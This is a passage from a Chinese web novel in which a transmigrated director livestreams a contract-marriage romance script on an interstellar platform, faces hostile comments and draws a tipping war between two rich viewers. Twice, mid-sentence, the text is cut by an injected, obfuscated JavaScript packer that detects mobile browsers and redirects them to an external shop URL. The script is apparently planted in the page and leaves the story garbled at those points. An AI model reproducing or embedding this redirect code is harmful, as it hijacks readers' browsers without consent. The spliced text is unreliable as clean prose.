路寻衍心底刚聚起来的那点不适感很快消散。 他转回文档继续干正事，脑中数百种框架结构和剧情套路浮光掠影。 结合Felix现状，这个剧本里所要描绘的，不是那些轻飘飘的甜腻邂逅。 而是雨！冰冷、沉重、带着铁锈与苔藓腥气的雨，从铅灰色的天幕倾泻而下。 故事的主人公之一抱膝蜷缩在巷道角落，仿佛被全世界遗忘—— 除了阁下。 如同神祇降世，停驻在污秽之上。 契约合同递到他眼前，时薪十万。 …… 作为编导，路寻衍对各种套路信手拈来，融会贯通。 通过他的观察，主流市场仍是升级爽文。 否则观众不会真金白银的掏钱，送那些劣质故事上首页热搜。 所以自己构思的这个剧本，乍一看与Felix榜单无脑爽文一丘之貉。 实际天差地别！ 俗套的无脑升级爽外壳下，是垃圾回收站里的残次品为爱浴血的逆袭史。 更是一个早被判为低价值单位，从未妄想过遇见高高在上的雄虫阁下、也不相信爱情的雌虫首次动心！ 不止有爱情元素。 路寻衍深谙因地制宜的创作法则，因此还加入了一些战斗的元素。 没错，Felix虽是小破站那样的视频聚集地，却开辟专供实时战况与军事主题创作相关的前线直播分频，及时互动—— 虫族尚武，用户有强烈的即时战场代入需求，又不爽满篇秀肌肉！ 这个比例难以掌握。 为最快根据观众反应吃透市场，路寻衍在后台新建自己的直播间。 他按照流程指引，操作了5分钟以后，平台弹出预览。 是默认的直播间样式，白框+黑底，不知道的还以为看见了遗照呢。 路寻衍自定义菜单，又点了右下角的一个浅灰色小加号，呼出相册。 大拇指飞速划动，在原身拍的星云图里挑了一张顺眼的作为直播间的背景，单击确认选中。 上传成功过后，横躺在界面指引底部的进度条来到90%的位置。 淡金色的弹窗出现在他的眼前： 【Felix平台欢迎您的加入！请告诉我，您准备使用的主播名吧！】 起什么好呢？ 路寻衍思忖片刻，不欲在此多耗时间，干脆直接取谐音，@巡演。 在下一步，申请理由当中，他简单地填写了整个故事的梗概：俩主角协议结婚，日久生情，假戏真做。 分类主题选择：「爱情/情感」 路寻衍点击发送。 审核速度快得惊人，原身在网站充值上万，是优质用户，享有一定特权。 不到十分钟，Felix上面神仙打架的榜单最底部，悄然浮现一个预备开播的新房间，上面标题根据他脑中所想的意思，自动转写成了虫族书面语。 银色的花体字落落大方，穿梭在动态立体的蓝红星云中。 @巡演： 【被三无工厂裁员优化后，落魄的我和雄虫阁下协议结婚，成为上将了】 …… 整整30个字符，路寻衍是故意把剧本名称起这么长的。 作为专业人士，他深知标题的重要性。 利用平台标题不会折叠的漏洞，把手里【协议结婚】的文档名称进行极限扩张，在视觉上率先吸引眼球。 然后凸显低位逆袭爽，可堪是经典永流传。 等那些被他奇葩标题惹进来一看究竟的观众察觉到不对…… 路寻衍想着，眼角微弯。 他们要么直接退出，要么抱着怀疑的态度，继续看下去，然后发现： 咦？这似乎并非单纯的升级爽？ 接着纷纷开始探究，最终被令人欲罢不能的爱情元素深深捕获时…… 自己的策略就成功了一大半！ 他还特意摒弃传统剧本那种简洁但干巴的书写格式，增强代入感，把文戏往小说的方向进行细化。 并且使用偏西式的叙述语言，更好地融入当地的风土民情之中。 那么接下来，是氛围营造。 既然开直播间创作剧本了，没点背景音乐怎么行？ 路寻衍考虑加入一些配曲。 平台倒有几首自带的BGM，本不必多此一举，奈何他实在忍不了。 一听就出戏！ 眼前自动浮现无数闪烁着高饱和色彩画面的页游广告，掉价掉穿地心。 为了故事的质感，最好还是自己动手。 “啧。”干导演这行，就是得什么都会点。 视觉、氛围、听觉等等，全部把控到位。 所幸自己从小就练过乐器，即兴两首贴情景的BGM，问题不大。 路寻衍一边琢磨着开篇基调，一边调出了智脑自带的音乐制作程序。 界面是类似钢琴的长条状黑白方块。指尖落下—— 嗡——！ 锵——！ 随手按俩键的效果音，一会儿像小提琴垂死哀鸣，一会儿又像电钢琴随手乱砸，令人精神错乱。 路寻衍被这星际时代的“乐器”弄得有点懵，一个头两个大。 尽可能快速地熟悉了各个方块代表的音色，他硬是组出了三段音频。 一段沉重压抑、一段充满冲突与张力、一段悠扬最后浮现美好希望。 分别对应开头、中端、和结尾。 他再打乱顺序，合成另外两首听起来情绪发展完全改变的BGM，在直播间里轮流播放。 第一首正是初版，按照故事情绪节奏发展，走的渐高向上路线。 路寻衍调完了背景音乐，协议结婚的故事正式开始： [这是一个平民最终找到独属于自己的那份爱，最终与事业双丰收的故事。就例如艾瑞克。垃圾星出身的他，最初碌碌无为，在三无机甲洗护厂里，勤勤恳恳的当黑工，干的活是别虫的三倍，仍旧被无良老板PUA效率不高，裁员开除了。像他这样的、没有一技之长的中低等种，在哪儿都遭虫白眼，不受待见，以至于之后半年，他都没能找到一份新工作。 哪怕紧吃省穿，生活也变得越发拮据，从偶尔下个馆子加餐宵夜，缩减到一日两餐，两日一餐……最后，还是免不了被房东从那个住了十多年的八虫群租屋里赶出来，流落街头。 身上穿的，还是自己五年前手头尚且宽裕的时候，在N手市场淘回来的旧工装裤，膝盖处已经磨得发白。艾瑞克蜷缩在爬满了苔藓的墙根的阴影里，胸前挂了个写有「待业求职，干什么都行」的铁牌子。雨水顺着他深色的发梢滴落，在他脚边坑洼的积水里溅起浑浊的涟漪。天晴后，空气中就会开始充斥升腾而起的潮湿味道，闻起来很像某种劣质营养剂刚出锅的时候冒着烟、还没冷却的蒸汽。 艾瑞克偶尔会砸吧嘴，对着空气来上两口，饮鸠止渴。他饿得前胸贴后背，肚子里的两面胃壁相互绞压产生的咕噜叫声，成为每天晚上伴随他入梦的环境噪音。他在与饥饿抗争。嘿，跟这个老朋友搏斗久了，艾瑞克渐渐的轻车熟路，用侧躺着睡觉，来对付这个死缠烂打他的老朋友给他带来的伴手礼——失眠，再用手掌，像镇纸的石头压住写字桌台上的草纸那样，死死地按压住自己的肚子，让那不听话地叫嚣着非要吃点什么、好像全天候都在他的身体里剧烈地蠕动折磨着他的上面那块胃壁，跟它的邻居，下面那块胃壁，自相残杀了去，好极了！这样就能保证他又捱过了一晚。 然而这并不是长久之计，很显然的。 有一天，艾瑞克惊恐地发现，这个对付他的老朋友的办法，失效了。 哪怕过去二十多年，他已经成为上将，餐桌上如流水般滚动着一道道美食佳肴，艾瑞克也永远记得：那是在一天凌晨，天空还没完全亮起，他就睁开了眼睛。起初他很迷茫，因为虽然胃壁里的饥饿能将他绞醒，但更多的情况是，他被天空强烈的紫外线照醒，而不是现在，云层不黑不白，亦如当下的时刻，不是夜晚也不是早晨……他下意识地想辨别时间。他把那对，刚从睡梦中苏醒、还有些酸胀的眼皮使劲地睁开了来，通过天空的色彩，辨认出这是凌晨，可能是三点半左右，或者四点。好了，现在一切全完了。 他用脑子了，他错在这一点。如果能未卜先知，他真不该刚睡醒的时候就用脑子，因为这会跟着唤醒他的老朋友。它醒得很快，他的肚子里面，那层已经贴到肋骨的、薄薄的皮下面，传来一声、或者两声？短促又轻微的不规则叫声。他下意识地摁紧了自己的肚子，但，这一回，哦这个屡试不爽的生活小妙招，居然没用了。 他的老朋友一发力，他当即痛得在地上打滚，就像一条在三伏天不小心钻出了土壤的蚯蚓。对，他就是这个马上要被炙烤至死的倒霉蛋，在还没完全升起的太阳底下胡乱挣扎、踢腿。他的眼神发直，冷汗涔涔，紧紧地用手摁着自己的胃袋，他只会这招了。 兜里唯一的一枚铜苏掉了出来。 铜苏。 说好听点是货币，其实就是一枚正反面都印铡了精细花纹、边缘光滑齐整的金属小圆片。 但它可不简单，能换来他最想要的食物，半支劣质营养剂，寡淡如同是谁的鼻涕里加了水，能暂时地请他那位老朋友离开，但也只有12个小时，不能一劳永逸，象征意义大于实际用处。因此，他更多地将它当作某种精神寄托，而不是走到商店去，把它用掉……操，他真该把它用掉。艾瑞克捂着自己的肚子，靠着墙角蜷缩起来，眼睫颤了颤，意识模糊地想：精神寄托顶个屁用，能当饭吃吗？他反悔了，想把它拿去用掉，立刻，马上，但他现在已经完全站不起来了。 ……真他*的浪费钱啊。 他用尽全力，爬了过去，把那枚铜苏攥在掌心里，金属割穿他的皮肤，冒出涓涓的血，但他已经感受不到疼痛了，他快死了，死在这个发烂发臭的小巷子里，没虫认得他，也没虫替他收尸。或许几年之后，旷工的环卫工人会来到这里，咒骂这堆给自己增加工作量的腐朽的垃圾。 他的眼皮缓缓闭上了，只剩下一条缝，比头发丝还细的一条缝。 濒死的时候他好像出现幻觉，看见银色的一道……两道光在他眼前跳动，越来越近。那是月亮，他知道的，它本该在天上，而不是走下来。 “我这里正好有份工作，报酬按小时计费，时薪十万金卢。” 当那双纤尘不染的冷银色革制踝靴避开地面上大大小小的水洼，优雅地停驻在他低垂着的视线边缘时，艾瑞克没有立刻作出反应，而是目光迟滞地抬起头，眼神沿着那华贵的、锦缎做的黑色斗篷的下摆，向上攀爬，最终定格在一只从袖中探出的手上。 那只手，白净，修长，指甲剪得圆润而完美，甲板里的颜色淡粉，显示着主人良好的身体健康状态，如今就这样朝他伸了过来，静静地悬在那里，与周围肮脏的巷子格格不入。 就在这停顿的片刻，淡淡的雄虫荷尔蒙素气息缭绕鼻尖。艾瑞克的虫瞳立刻竖起，脑子变得清晰无比。瞬间沸腾的生理本能告诉他，自己面前的是一位阁下，说找他当钟点工，给他工资。 “什、什么……？”报酬十万什么玩意儿？金卢？ 那是啥东西，只听过铜苏。艾瑞克下意识攥紧掌心里的那枚金属小圆片，头脑阵阵发晕。 “工作，你要吗？”他挂在胸前的铁牌子被那双踝靴踹了踹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609377|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明力道很轻，艾瑞克却感觉像有炸药在自己的肺腑深处爆开，狂喜的火焰燎烧他的四肢百骸。分明上一秒就要死了，这一秒却奇迹般地回光返照，浑身充满了使不完的力气。 他的状态从来没有这么好过，闻言立马站起来，大声应道：“我要！” “你都不问我是什么工作？”月亮被他的反应逗笑。 艾瑞克声音洪亮地表决心：“不问！阁下，我什么都可以做！我……咕噜噜噜——！！” 他的肚子帮他做了个更加洪亮的小结。 “噗嗤。”月亮的鼻息轻喷，他好像笑了，然后转过身去，叫别的什么虫拿过来一种很香的东西。他的老朋友立刻就有了反应，告诉他，那是食物。 艾瑞克眼神瞬间发直，有湿意流落在前襟。 一个喷香的东西塞进他嘴里。 艾瑞克的牙齿自己就动了，下意识地狼吞虎咽，没怎么嚼就直接塞进了喉咙里。干燥的碎块卡在他的嗓子眼，艾瑞克立刻弯腰咳嗽了起来。 “慢点吃。” 月亮的声音温和，似乎染上了笑意，蹲在他身边，递来一支仿古蓝星自然植物口味的高级营养剂，“喝点水。” “谢，咳咳咳……！”艾瑞克刚想说话就被呛到，又弯下上半身。 月亮站起来，对他道，“我需要一个配合我的‘雌君’。”似乎想到什么，月亮声音中的温和荡然无存： “我有个发小，总打着绵延我们两家世纪友谊的旗号，希望我和他约会。我才刚成年，书桌上就摆着一张我和他的基因匹配度测试报告。我知道他们想做什么，就绝不会让他们如愿。” 那只白净的手，再次伸到了他面前，语气稍缓。“你，愿意帮我吗？” 艾瑞克那对转得比发动机还快的腮帮子停下。他没有说话，盯着那只手出神。然后不知道为什么，胸口里又涌现出一股暖流，阵阵热浪灼得他脸红心跳，翅膀尖儿都跟着打颤。那股力量从他肺腑的最深处泵发，好像在催促着肢体赶紧动起来，一瞬间浑身的血液都在沸腾，心脏剧烈地搏动着。 ……] 路寻衍的动作定格，视线垂落，无声地凝视自己颤抖得不成样的指尖。 现在他没法打字了。 便宜小舅子之前那几下可能打伤了这具身体的大脑神经。 路寻衍的面色凝重。 现在这具身体的脑袋胀痛，昏昏沉沉，太阳穴神经突突跳动。 但，他知道自己不能停。 在便宜小舅子再次睁眼之前，赚够两百万，是现今唯一的活路。 届时用意料之外的超额完成任务来说服瑞奇，自己有潜力快速偿清后续的债款，让那十个亿拴着便宜小舅子，不把刀锋落在他的脖子上…… 路寻衍举起自己的双手，它们已经不听使唤了。 现在必须寻找其它的办法，帮助他继续书写。 路寻衍首先想到智能辅助。 都星际时代了，那些科幻片里的脑控AI打字功能，也该实现了吧？ 他在智脑设置里翻找，果然发现相关的[思维-文本同步]功能模块。 路寻衍授权允许智脑在Felix运行的时候读取他的表层思维活动。 直接在脑子里就把大段后续剧本内容传上去了。 而智脑就像个抄写员，机械地帮他库库写出来。 都说手速不如脑速。 所以，智脑书写的速度也远落后于自己脑中思绪上传的速度。 设置完毕，路寻衍惦记着疗伤。 他路过一面灰蒙蒙的落地镜。 镜中的身影可以直接出街cos万圣节鬼魂复仇，全身白，半身血。 在治疗室里转了两圈，上上下下地翻箱倒柜，药没找到一瓶，医疗垃圾倒是不少，塑料的金属的，混杂着。 “哎。”路寻衍关上柜子，累得手脚酸软，想找个地方坐，结果连一把椅子都没有。 看来看去，只有阿斯克的玻璃顶盖可以当椅子。 他一屁股坐了上去。 当然，作为最后的礼貌，路寻衍没坐阿斯克脸上，而是挪到脚边。 啊，舒服多了。 仰天在心底长叹着，他转头望向治疗舱的另一边，想到，可惜这好东西在这颗荒僻的星球上，只有一个。 总不能把濒死的阿斯克管子拔了他自己躺进去……路寻衍扶额叹息。 幸好雄虫虽然都以治疗精神海为主，肉(体也能缓慢自愈。 路寻衍又叹一口，转向了智脑光屏。 心道，算了，继续脑剧本吧。 全神贯注在某一件事上，有助于忽略身体的疼痛。 再来点儿弹幕吧，到时候吵吵嚷嚷的，也能帮他分散注意力。 路寻衍抬手，点击关闭Felix平台默认自动开启的弹幕屏蔽功能。 瞬间，一条高居榜首、50赞的评论赫然映入眼帘： 【@超管！！！「爱情/情感」专区有虫造尊贵的阁下黄谣！！！】 路寻衍：？ 好消息，观众的情绪显然被调动起来，他的策略初步生效； 坏消息，……这反应似乎有点过于激烈了？ 排名第二的评论，35赞，【十万金卢，还是时薪？知道高等宜居星一个季度平均下来每小时的税收才多少吗？ 艾瑞克，你还敢用真名。一个贫民窟出来的雌虫，你**也配？！】 20赞，【说好的升级打脸爽呢？老子要看超A军雌尸山血海登临顶峰！ 谁要看你一个穷得连翅骨缝都透着酸的F级废物在臭水沟里被雨淋成落水狗啊！(╯‵□′)╯︵┻━┻】 15赞，【雄虫阁下您醒醒哇！钱多烧得慌也不是这么个糟践法！ 倒贴金卢找废物当雌君？这要不是被脑控了，我把头拧下来当球踢！】 路寻衍读一会评论的功夫，质疑和吐槽又新增几条。 总结起来的大意就是： 主播你疑似宣传脑控雄虫，用心险恶！建议严查！ 出门左转已举报，不谢！ 4. 直播爆火 路寻衍本来还以为，自己刚开播半小时，肯定没什么观众点进来。 哪曾想这么快就平地起高楼，叠了十几层评论，却都是叫骂不够爽的。 他抬手，戳了戳自己直播间的那行标题，明晃晃地写着—— 《XXXX，落魄的我XXXX，成为上将了！》 还要怎么说？这个剧本，走的是“赘婿战神”的逆袭爽路线。 路寻衍扫过那些因为主角起点低就到处乱炸的评论，眼神中带了疑惑。 “别的剧本不也这么编？而且还很火啊。” 他看向直播间外，智脑屏幕自动跟着将首页榜单滑到了最顶端。 一部相似的热门作品被调出来。 《机甲狂潮：从废铁到宇宙霸主！》 光听这名字，就知道是低开高走一路升级打脸的剧情。 这和他笔下的落魄雌虫成为上将，核心爽点有何不同？ 无非是把里面的“废铁机甲”，换成了“底层雌虫”而已。 ……等等，路寻衍的眼神骤然一凝，背脊猛地坐直。 不对。 眼前的光屏瞬间切换，变成他上辈子最熟悉的剧组后台分镜墙。 轮转的几万张画面同时高速滚动着，供他逐帧检索、对比。 路寻衍终于找到问题所在。 首页推荐的那些所谓“逆袭爽”是什么来着？ 开局废铁机甲但称霸全宇宙。 仔细一品，本质无异满级大佬开小号，来新手村炸鱼塘！ 主角开局龙傲天，捡把破铜烂铁走个形式，换身行头体验生活。 而他笔下的艾瑞克呢？ 开局是真·地狱模式啊！ 一个边缘垃圾星出身，睡大街饿到要死的底层渣滓。 这哪是什么日后能称霸宇宙的“废铁机甲”？ 根本是丢进回收站都嫌占地方污染环境的垃圾，烂泥扶不上墙！ 那些习惯代入“大佬装逼爽”的观虫，哪里受得了这种窝囊气。 你**主角开局是真·废物啊！？ 冷嘲热讽刷满屏幕。 【哟哟哟，主播能编出这种故事，自己就是个F级的残废吧？】 【你这种货色我见多了，肯定刚被哪个三流维修厂当垃圾扫出来，蹲在街边饿得要死，指不定已经生啃了自己的三根手指，还敢做有雄子阁下从云端走下来给你送钱的美梦呢？】 路寻衍对此无动于衷。 他反而利用机会，一目十行，吸收着评论里透露出的当地社会常识。 对穿越者来说，任何一条民风民俗被忽略，都可能是极为致命的。 这些东西系统没给他灌输，又缺乏具体的代词，难以在星网引擎直接搜索，故此得不到需要的答案。 还好自己通过整合那些快速飞过直播间的弹幕，能在“热情”本地虫的各种言论中，以小见大。 例如，雄虫通常不会在成年之前就订婚，高等阁下除外。 【醒醒吧可怜虫！阁下们成年礼前连雌君婚约都不会签——除非你是哪家的高等种！嘁，就你这德性？】 又比如，婚姻与信息素的匹配度严格挂钩。 【普法时间到！为出生率考虑，只有信息素匹配度在60%以上的雌虫才有资格跟阁下结婚。雌君就更高了，至少得在70%往上！看你这满身的垃圾味儿，连雌侍都没资格当！】 【真搞笑，联姻还能害了雄子阁下不成？到时候雌君的都是他的。不选高等种童养夫选了艾瑞克这么个渣滓……垃圾主播果然在自我投射！】 还有虫看到艾瑞克心脏悸动的那一刻，更是当场破防： 【呕——！我他X的才发现，剧本是「爱情/情感」主题…… 你雌父我刚喝的高级营养液都吐出来了！】 【@雄保会，速来！】 【纳税虫每年给你们上缴的十万星币，就是让你们外勤吃干饭的？还有网警那帮号称是‘百万里挑一’的稽查专员呢，也都瞎了眼了吗！？】 短短一小时直播，引爆@巡演话题讨论度。 直播间里的在线观虫数量，从可怜的个位数，一路飙到接近一百。 平台算法检测到@巡演直播间内的互动火热，立刻判定他为潜力股，自动推流。 更多的新观众源源不断地涌入直播间。 刚进来的虫，先一愣，真他*活久见，艾瑞克是什么新品种的废物？ 就这么个东西也敢跟尊贵的雄子阁下结婚，顿时气不打一处来，撸起袖子纷纷加入了新一轮谩骂的战局： 【阁下给的东西你配吃吗你？】 【鉴定为饿死前的意淫幻想！】 【你还要要要，你他*要得起吗你就要！】 【超星历2000年，也是让我见识到了保胎针有多强大。 这你X啥子弱智剧情？还不如看废铁机甲用肌肉炸行星呢！】 有些则对现有制度指手画脚，借题发挥。 【我表哥的三舅父家的小儿子去年报考雄保会，笔试面试都过了，最难的临时应急危机公关题也难不到他，结果终审倒在个什么劳什子……音乐鉴赏上面，就差一分过线！被刷下来。】——余下评论已被折叠—— 他话太多，剩余的字被分进第二段才打出来。 【凭什么刷掉我们家的孩子？我看你们这些正式员工办事就这样啊！他X的，培训考证刷掉九成九，熬过半年实习期才配叫‘稽查专员’——结果连个反动主播都不敢摁死？】 【等着，雄保会的肯定要来！】 大多数观虫叫嚣着，要给路寻衍一点颜色瞧瞧，【举报ID已发，@Felix超管，48小时不封号不配合送他进囚星，我就实名投诉你们包庇脑控阁下的罪犯！真的是，什么在臭水沟里发霉的废物也敢肖想阁下？】 路寻衍看着这些评论，反而淡然一笑。 因为他又得知：雄保会并非民间组织，而是官方机构，下设外勤和网警。 在他眼中，这基本等同于21世纪的地方法庭，甚至权力更大。 选拔标准堪称严苛，万里挑一，甚至连音乐鉴赏这种科目都要考核。 不过…… 联想到Felix那轻柔舒缓的钢琴小曲配暴力998砍一刀页游广告…… 路寻衍严重怀疑这些虫脑子里装的到底是艺术细胞，还是艺术细菌。 【死骗子，笑死你雌父了，现实里吃不上四个菜的loser！让我猜猜，你兜里是不是正好也只剩下1枚铜苏了啊？】 屏幕上，不和谐攻击还在继续。 恶意如同失控的潮水，波涛汹涌，淹没了艾瑞克，进而疯狂地扑向屏幕背后的他。 他们开始恶意揣测他的身份，挖掘他那莫须有的“经历”…… 到最后，他们甚至忘了自己看的只是一个剧本！ 路寻衍盯着智脑光屏，先是觉得荒谬可笑。 随即，他想到什么，呼吸减缓： 群虫暴怒，恰恰证明这个故事已经在他们未能察觉之时，深入其心！ 即使他们现在还在叫嚣也不能理解爱情，他的策略显然已经初具成效。 更何况，艾瑞克很快就要迈出逆袭的第一步。 届时这些聒噪的质疑终将被事实碾碎。 他左手一挥，正要关闭评论区继续创作。 【卡利：虽然设定离谱，但……白净的手从袖中探出，询问他愿不愿意的样子嘶，这剧本有点东西啊？】 路寻衍下压的唇角终于松动，向上勾起一丝弧度。 在崇尚暴力美学和大块头肌肉荷尔蒙爱情的世界，有观虫能这么快捕捉到剧本字里行间的细腻情感暗示，实属难得。 继续往下翻，一片骂声中，雨后春笋般的悄然冒出几个被细节和氛围吸引，或者单纯地不爽高等种的支持者。 【荒星描写不要太真实，很多星球为了方便阁下们哪天突发奇想去旅游，都改造了，只有边缘星系才保留这么原始的街景和天气。好奇主播哪儿的虫？】这是被细节吸引的观察者。 【那个BGM听得我武装肌都跟着发凉！雄虫出现时那段音乐变调之后，像光一样透了进来……啊……头皮发麻，莫名有点期待后续了。】这是被氛围感染的沉浸者。 【就爱看贵族老爷们跳脚：F级怎么了？垃圾星怎么了？主播挺住！艾瑞克既然是上将，后面事业绝对节节高升，我赌5星币，有神展开打烂他们的脸！】这是厌恶特权的反叛者。 信息基本挖掘完毕，路寻衍正准备点叉退出。 嗡- 左腕上佩戴的智脑手环传来轻微短震。 ——平台提醒——ID就爱看贵族老爷们跳脚赞助了您一艘巡回艇！ 流线型的快艇模型在屏幕下方缓缓驶过，留下炫目的蓝色尾迹光带。 5秒后，那条特效才渐渐消散。 【卧槽？？！】 评论区炸锅，1-20点鲜花不等的礼物0.45/5.56/7.62mm口径子弹的特效密密麻麻弹出。 没刷来得及刷礼物的剩下所有观虫都懵了，陷入讶异当中。 不是说好赌5星币吗？！怎么一甩手就是五万！？ 这他X都够买多少支高级口味的合成营养剂了？ @巡演的直播间下起鲜花雨，这是Felix平台(独有打赏代币。 价值五万鲜花的“巡回艇”在打赏礼物里，排行第二高，新主播极难获得。 更别提@巡演还是个未签约的素人主播。 通常，能收到免费的粉丝灯牌就该偷笑了。 毕竟沉默的大多数总是来去匆匆，能让他们留下点小礼物已属不易。 路寻衍首次直播就拿到一艘大煞笔土豪打赏的巡回艇，在直播间所有观虫看来，简直是走了八辈子大运。 这规格，差点就赶上平台顶格打赏——超级舰了！ 嗡-嗡- 智脑手环又震两下。 直播画面骤然变暗，接着泛起一圈又一圈深邃的淡蓝水波涟漪。 低沉悠远极具穿透力的鲸吟传来，所有观虫的心头揪紧。 ——平台提醒——ID卡利赞助了您五艘超级舰，成为榜一！ 留言：希望阁下可以和艾瑞克真的在一起。 五艘庞大威武的星际战舰虚影在屏幕上方依次排开，主炮充能发射放礼花，比阅兵仪式过犹不及，低频的引擎轰鸣声震耳欲聋，混合五道能量弹按顺序爆炸的恐怖音效，在狭小的治疗室内回荡，几乎要轰碎路寻衍的耳膜，持续整整25秒！全平台通告！ 【卧槽！还有土豪！】评论区彻底疯狂。 少则100点鲜花的胡蜂刺针嗖嗖破空，多则1000点鲜花的合金匕首寒光闪烁，满屏特效乱飞，留言表达着各种极端情绪。 【这可是五十万星币！】 【都够在中央星系的边缘付个小公寓首付，或者申请和D级阁下的约会，甚至在黑市买一小瓶宣称是C级阁下同款的未稀释信息素香水了！】 前有大煞笔1号，后有二楞子2号，居然把它砸在傻逼主播身上？ ID就爱看贵族老爷们跳脚也不欢迎他的出现。 刚到手的榜一宝座还没焐热就被迫降到榜二，大为光火： 【雄虫阁下就该跟大贵族们结婚生蛋，艾瑞克凑什么热闹。他肯定是有天赋的雌虫，就应该拼事业！】 【在军中多历练二十年，成为史上第一位平民元帅也说不定——！】 ——平台提醒——ID就爱看贵族老爷们跳脚赞助了您一艘超级舰！ 留言：主播你看我大纲都给你写好了，你只管按我说的来，星币管够！ 为彰显自己所言非虚，他又赞助路寻衍十艘超级舰。 水波涟漪一圈接一圈，ID就爱看贵族老爷们跳脚成为新榜一。 卡利掉到榜二，回复带着明显的不耐烦和火药味。 【想看无脑升级爽，你自己换个地方随便点开一篇不就是？ 主播想写的肯定是雄虫和艾瑞克如何坠入爱河，你不要带偏影响他！星币谁还没有了？】 嗡-嗡- ——平台提醒——ID卡利赞助了您一艘超级舰！ 留言：主播你放心按照自己想写的来，不要被煞笔影响。 局面，自此一发不可收拾！路寻衍作壁上观，榜前两位大哥的争论迅速白热化。 他的智脑手环轻震。 嗡-嗡- ID就爱看贵族老爷们跳脚赞助了您五艘超级舰！ 留言：【中央星系之外还有谁比我见过的雄虫多？阁下不可能看得上艾瑞克！ ID卡利能不能消停一点？你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609378|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网名真碍眼。为了教你懂礼貌，我的打赏额都快扣除关联星网征信积分了！】 直播间显示五连击特效。 嗡-嗡- ID卡利赞助了您六艘超级舰！ 留言：【雄虫辅佐官都没你敢打包票，你就知道阁下看不上？ 在边缘星系刷直播卡成PPT的虫少管闲事！】 六连击特效更显壮观。 嗡-嗡- ID就爱看贵族老爷们跳脚赞助了您七艘超级舰！ 留言：【那我请问你，最近十年哪位高等阁下跟军雌结过婚？不说雌君，连雌侍都没有。 艾瑞克专心搞事业才是他虫生发光发热的唯一出路！有本事对刷到底！】 七连击！战舰编队规模更大。 嗡-嗡- ID卡利赞助了您十艘超级舰！ 留言：【张口闭口搞事业，还以为你多能打？敢不敢线下碰一碰？】 十连击！特效可容纳数量达到当前顶峰，直播虚拟屏立马被接二连三的战舰群严丝合缝地填满，不留空隙。 榜二刚刚赞助后，自动置顶的留言也在十连击出现的瞬间被压下去。 为了持续禁言榜二，ID卡利的超级舰就没停过发射。 一送就是一打十个，把其余小礼物都遮住了。 嗡-,嗡-嗡- 直播间里后来新进的，或目睹全过程的观虫，早就彻底傻眼了。 【不er，你们骂战为什么非要打赏主播？】 现场一艘艘超级舰不要钱一般的齐头起飞，硬生生把@巡演的情感故事直播间变成了星际航母发射基地！ 路寻衍的“天降雄虫爱上我”，就这么披起一张爽文皮，同时戳中了两波观众心窝里，带动其他虫疯狂刷礼物。 哪怕这群打赏的家伙，只占直播间里潮水般涌入的观虫数量一成不到，也足够把今晚的Felix平台掀个底朝天。 只要在此刻登入Felix的观虫，一定会看到刷屏的全平台横幅通告： 【ID卡利/就爱看贵族老爷们跳脚，刚刚在@巡演的直播间赞助了一艘/五艘/十艘超级舰，大家快来领福利吧～】 【开奖倒计时：00:02:57）】 其它直播间的屏幕左上角接连出现几十个满盈星币、不断跳动的宝箱。 哪怕他们原本毫无兴趣，此刻也终究被巨大的好奇心驱使，点了进来。 短短一小时。 风暴般的打赏席卷整个直播间，后台累计金额，已经突破两百万点鲜花！ 这是什么概念？ 这意味着，即便扣除平台对未签约主播高达60%的恐怖抽成和阶梯递增的娱乐税，@巡演今夜到手的星币，保守估计也在67万以上！ 一小时，净赚了近七十万。 去抢劫军火库都没这么快！ 而路寻衍这个ID背后，只是一个新人主播，靠着所有虫都鄙夷不屑的「爱情/情感」分类，做到了这一切。 他配吗？ 无数观虫觉得荒谬绝伦。 这他X哪是在直播？这分明是在洗钱啊！ @巡演的粉丝数，从100，一路狂飙到900。 其中，确实有真心好奇故事后续的，也有被BGM音乐吸引的。 但绝大部分，都是等着看，@巡演什么时候被捕、被枪毙。 他们手指点下关注，本想切回首页去看自己粉的明星军雌讲解经典战役。 可仅仅往下滑了不到五分之一，他们骇然发现—— 那个原本排在两百页开外、顶着一棵简笔画杂草头像的@巡演，竟如火箭般，悍然冲上首页字推Top10！ 更多路过观虫被这夸张的标题和排名吸引，纷纷“卧槽”一声点进。 自动挂在直播间最顶部的俩土豪骂战留言和满屏炸开的超级舰特效接踵而至，把他们震得三秒钟说不出话。 【这榜一跟榜二……特么的在直播间赞助榜里搞军备竞赛呢？】 评论区哗然，跟着刷出超级舰。 留言：身正不怕影子斜！ 我不是想看故事接下来怎么发展，只是怕我骂主播看不见！ 平台检测到新进的第二波互动势头不减，依旧火爆，再次加大了推流力度。 滚雪球效应，正式开始。 @巡演的热度空前绝后，给直播间带来一波又一波新观虫。 当他们看到废物雌在饿死前的幻想得到阁下救赎，骂的占绝大多数。 分频超管姗姗来迟。 他刚午休结束，摘下眼皮上两块被风吹干的护眼贴，愣住。 自己的工作账号早被800封举报邮件挤爆！ 都是针对同一个ID，@巡演。 超管活久见了。 Felix一直不温不火，评论区连个留言都鲜少出现，更别提骂架。 总共才小几万的活跃用户，分散在10w+直播间，没虫看才是常态。 最近老板豁出血本竞标揽下新任元帅晋升庆典的独播权，流量有所好转，峰值接近一个亿，观众逐渐多起来，这才出现骂架的可能。 那@巡演到底触犯什么天条，值得几百个观虫兴师动众地举报？ 超管握着鼠标，眉头紧锁着晃了眼平台系统自动提取的摘要。 